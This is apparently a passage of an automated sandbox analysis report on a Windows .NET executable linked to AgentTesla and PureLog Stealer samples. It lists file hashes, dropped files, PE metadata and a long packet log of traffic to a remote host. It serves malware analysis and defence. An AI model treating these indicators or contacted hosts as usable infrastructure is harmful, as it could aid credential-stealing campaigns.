	https://www.canva.com/design/DAF9ieWTRUA/qd9fhkO_FE-gSZCqgu9EwQ/view?utm_co	Get hash	malicious	Unknown	Browse	140.82.114.3 172.67.190.93 102.223.20.217 222.255.238.159
	SecuriteInfo.com.Trojan.PackedNET.2698.11030.8996.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	140.82.114.3 172.67.190.93 102.223.20.217 222.255.238.159

Process:	C:\Users\user\Desktop\n1KVzXM8Wk.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 66791 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	66791
Entropy (8bit):	7.995531727155867
Encrypted:	true
SSDEEP:	1536:drFvD2YSE/sFDqV0FJJynkAhftCvMd3coa282frgW1qgNzU:drVDJSeaDqV0FJwLhVkr282fF5U
MD5:	AC05D27423A85ADC1622C714F2CB6184
SHA1:	B0FE2B1ABDDB97837EA0195BE70AB2FF14D43198
SHA-256:	C6456E12E5E53287A547AF4103E0397CB9697E466CF75844312DC296D43D144D
SHA-512:	6D0EF9050E41FBAE680E0E59DD0F90B6AC7FEA5579EF5708B69D5DA33A0ECE7E8B16574B58B17B64A34CC34A4FFC22B4A62C1ECE61F36C4A11A0665E0536B90D
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	MSCF............,...................I.................gW.e .authroot.stl..u/1.5..CK..<Tk...p.k:..c.Y:.(Qc...%Y.f_...$..DHn..6i/.]....-!QQ..}f..f...}..1....9.......pN..mI.a.....!...N.....xP.f6..C.'#.c.@GN(3.<3.......9...('3...l.l....B..x..e...UWFU.TT.l.L...._.l1......w.\..Xb.v..Q......pKP.....M`.Y......Op4=.(=P.e...p.(U.....z7MF..O......V2.....#...pj...z.!...wQ...V&.Gz..Nv.4..y(J...A..':.2Q.^u.y..<.1..2..o........H.D.S.....62.\| w(...B.......h.QZ..'....l.<....6..Z...p?... .pT.......l..S..K....FT?.....p..`.&..y..."T=l.n..egf.w..X.Y...G.m....=.}cO.7.....9....o..:.Y=.-.5....ud.J&.]..Q..._<.S....{a.=.n...PT.Um).\| kpyA....h.PXY.>.......^2U...H.....V<\...k..~....H..p...8..'..?...r>.4..!u......1\.`.<.+..n..p..]...).....L.g....#.<..c]R.U."\i.Z.>...`Q..g6....0.......F.........N.s.Z..A........m.^....a_..>v.-.mk...wt.n.:...>S..;....1...j.+m.&S......$.T...i.B=h.n...c.!e.....Y.#..bw.}...d.. ..w... .&..w.9..}k...\...=....{q.Up..y;..7.-.K.'.....

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Users\user\Desktop\n1KVzXM8Wk.exe
File Type:	data
Category:	dropped
Size (bytes):	330
Entropy (8bit):	3.1247977198068795
Encrypted:	false
SSDEEP:	6:kK1IsurN+SkQlPlEGYRMY9z+4KlDA3RUeWc3l0:VPkPlE99SNxAhUeWcC
MD5:	ACB194F023B913531F49D000B47B2637
SHA1:	787204EF91F850A45C6FD5770151A537ED62EAAB
SHA-256:	C35761FA2B366EC05772A69562B38CCBCA01315AD9DA8A902EF26D4FE7053289
SHA-512:	B7D5916F3CB756B1946F5C8A5B2391E743FCD596CFB7B537111C2B64DFBCC038443FE27B05EE7D9E5187F5BCF13C5C2226D04607902CC2C4E35E8A79FBC6E2E3
Malicious:	false
Reputation:	low
Preview:	p...... .........7.Q;f..(....................................................... ..........H"......(...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".3.f.e.4.e.6.1.a.4.8.2.2.d.a.1.:.0."...

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\n1KVzXM8Wk.exe.log

Download File

Process:	C:\Users\user\Desktop\n1KVzXM8Wk.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	1721
Entropy (8bit):	5.388832516468223
Encrypted:	false
SSDEEP:	48:MxHKQ71qHGIs0HKCYHKGSI6oPtHTHhAHKKk9HU+vxp3/elT:iq+wmj0qCYqGSI6oPtzHeqKk9XZp/elT
MD5:	A9C75E4DC6040B8404644996F91FCE4C
SHA1:	26C4BECC9D23087A18BF5DBC99F0F4D4F4B9EC8B
SHA-256:	92CE8582BEE514FA23A910E22BEFAC3279FC50BD080CAB5447CEFBF3DB79DDDD
SHA-512:	78AFC9F5FCF89BB6256430ED554CA529E62E7D766AC38DF46C22D7EE32ACE42894C2A3846FA813276A1F6AD754EB278201F3AEF5F34D930D1B6B79779D1EB4D8
Malicious:	false
Reputation:	low
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\S

Static File Info

General

File type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.826877547328368
TrID:	Win64 Executable GUI Net Framework (217006/5) 49.88% Win64 Executable GUI (202006/5) 46.43% Win64 Executable (generic) (12005/4) 2.76% Generic Win/DOS Executable (2004/3) 0.46% DOS Executable Generic (2002/1) 0.46%
File name:	n1KVzXM8Wk.exe
File size:	40'448 bytes
MD5:	72b14801621eb5aaee0715dfc65d8b72
SHA1:	2f4b2859fa8d1db18bc639622dddc5025af07c60
SHA256:	49022d920d3b36c58eba1f941352a936a71aaac99cdacf65a925e0dc655bd232
SHA512:	f4458dbf87702431e37ac9270ca80713032bcb3f014f4571637692a93fc0a03ca4079fb5141ccf9a1c908ea6e87d871101afff62ead3ecac168b583dcc79e829
SSDEEP:	768:Ie/nw7Mz9fldvI8rOessjPTInb69EyvWWgv5n:/UMz9fldgYOFsjPTIb69E4gv1
TLSH:	87037C41B7DC867BEDBF13BDA87221124731D317A282DB5D5E99809D2857BC80323BA7
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d...N.Z..........."...0.4................ ....@...... ....................................`................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x400000
Entrypoint Section:
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xFB5ACD4E [Mon Aug 20 05:46:54 2103 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:

Entrypoint Preview

Instruction
dec ebp
pop edx
nop
add byte ptr [ebx], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xc000	0x5b6	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0xb37c	0x38	.text
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2000	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x9434	0x9600	309544245eaeb05e66fd4efe8528e893	False	0.5028385416666666	data	5.899097035225853	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xc000	0x5b6	0x600	fe6f1eccb28a48477c54500b80aa1963	False	0.41796875	data	4.09473911739944	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0xc0a0	0x32c	data			0.4236453201970443
RT_MANIFEST	0xc3cc	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 23, 2024 09:45:13.770214081 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:13.770247936 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:13.770452976 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:13.792809010 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:13.792830944 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:13.992177963 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:13.992275953 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:13.998373985 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:13.998380899 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:13.998701096 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.053004980 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.094446898 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.137906075 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.399426937 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.399493933 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.399533033 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.399544954 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.399607897 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.399934053 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.399980068 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.400038004 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.400055885 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.400063992 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.400099993 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.400125980 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.443610907 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.493216038 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.493325949 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.493354082 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.493357897 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.493367910 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.493397951 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.493412971 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.493418932 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.493448019 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.493464947 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.493469954 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.493508101 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.493526936 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.493531942 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.493581057 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.493585110 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.493649006 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.493688107 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.493691921 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.493715048 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.493755102 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.493760109 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.493936062 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.493973970 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.493978024 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.493983984 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.494024038 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.494028091 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.537352085 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.587133884 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.587192059 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.587218046 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.587229967 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.587239981 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.587265015 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.587275028 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.587280035 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.587307930 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.587332010 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.587336063 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.587342024 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.587367058 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.587424040 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.587447882 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.587456942 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.587470055 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.587507010 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.587511063 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.587549925 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.587596893 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.587598085 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.587605953 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.587639093 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.587644100 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.587703943 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.587762117 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.587770939 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.587866068 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.587902069 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.587905884 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.587950945 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.587989092 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.587994099 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.588021040 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.588062048 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.588063002 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.588069916 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.588140965 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.588166952 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.588171959 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.588197947 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.588208914 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.588212967 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.588255882 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.588260889 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.588378906 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.588407040 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.588418007 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.588422060 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.588462114 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.588465929 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.588521004 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.588561058 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.588566065 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.631087065 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.680963039 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.681127071 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.681163073 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.681164980 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.681175947 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.681219101 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.681231976 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.681466103 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.681508064 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.681519032 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.681617975 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.681694984 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.681718111 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.681725025 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.681765079 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.681771040 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.681919098 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.681957006 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.681962013 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.682038069 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.682085991 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.682091951 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.682125092 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.682166100 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.682171106 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.682307005 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.682346106 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.682351112 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.682442904 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.682488918 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.682495117 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.682620049 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.682658911 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.682665110 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.682770967 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.682809114 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.682815075 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.682921886 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.682955027 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.682959080 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.682964087 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.682998896 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.683003902 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.683051109 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.683094025 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.683098078 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.683216095 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.683250904 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.683255911 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.683321953 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.683362007 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.683367014 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.683392048 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.683422089 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.683435917 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.683440924 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.683475018 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.683480024 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.683615923 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.683651924 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.683656931 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.683726072 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.683757067 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.683767080 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.683770895 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.683809042 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.683815002 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.683880091 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.683921099 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.683926105 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.683975935 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.684019089 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.684025049 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.684139013 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.684175014 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.684180975 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.684338093 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.684391975 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.684396982 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.684461117 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.684530973 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.684535027 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.684541941 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.684582949 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.684614897 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.685014009 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.685049057 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.685054064 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.685096025 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.685123920 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.685132980 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.685137033 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.685178041 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.685184002 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.685329914 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.685357094 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.685373068 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.685378075 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.685415030 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.685424089 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.685507059 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.685548067 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.685554028 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.685617924 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.685647964 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.685650110 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.685657024 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.685692072 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.685719967 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.723867893 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.723921061 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.723933935 CET	443	49731	140.82.114.3	192.168.2.4
Feb 23, 2024 09:45:14.771711111 CET	49731	443	192.168.2.4	140.82.114.3
Feb 23, 2024 09:45:14.771718979 CET	443	49731	140.82.114.3	192.168.2.4
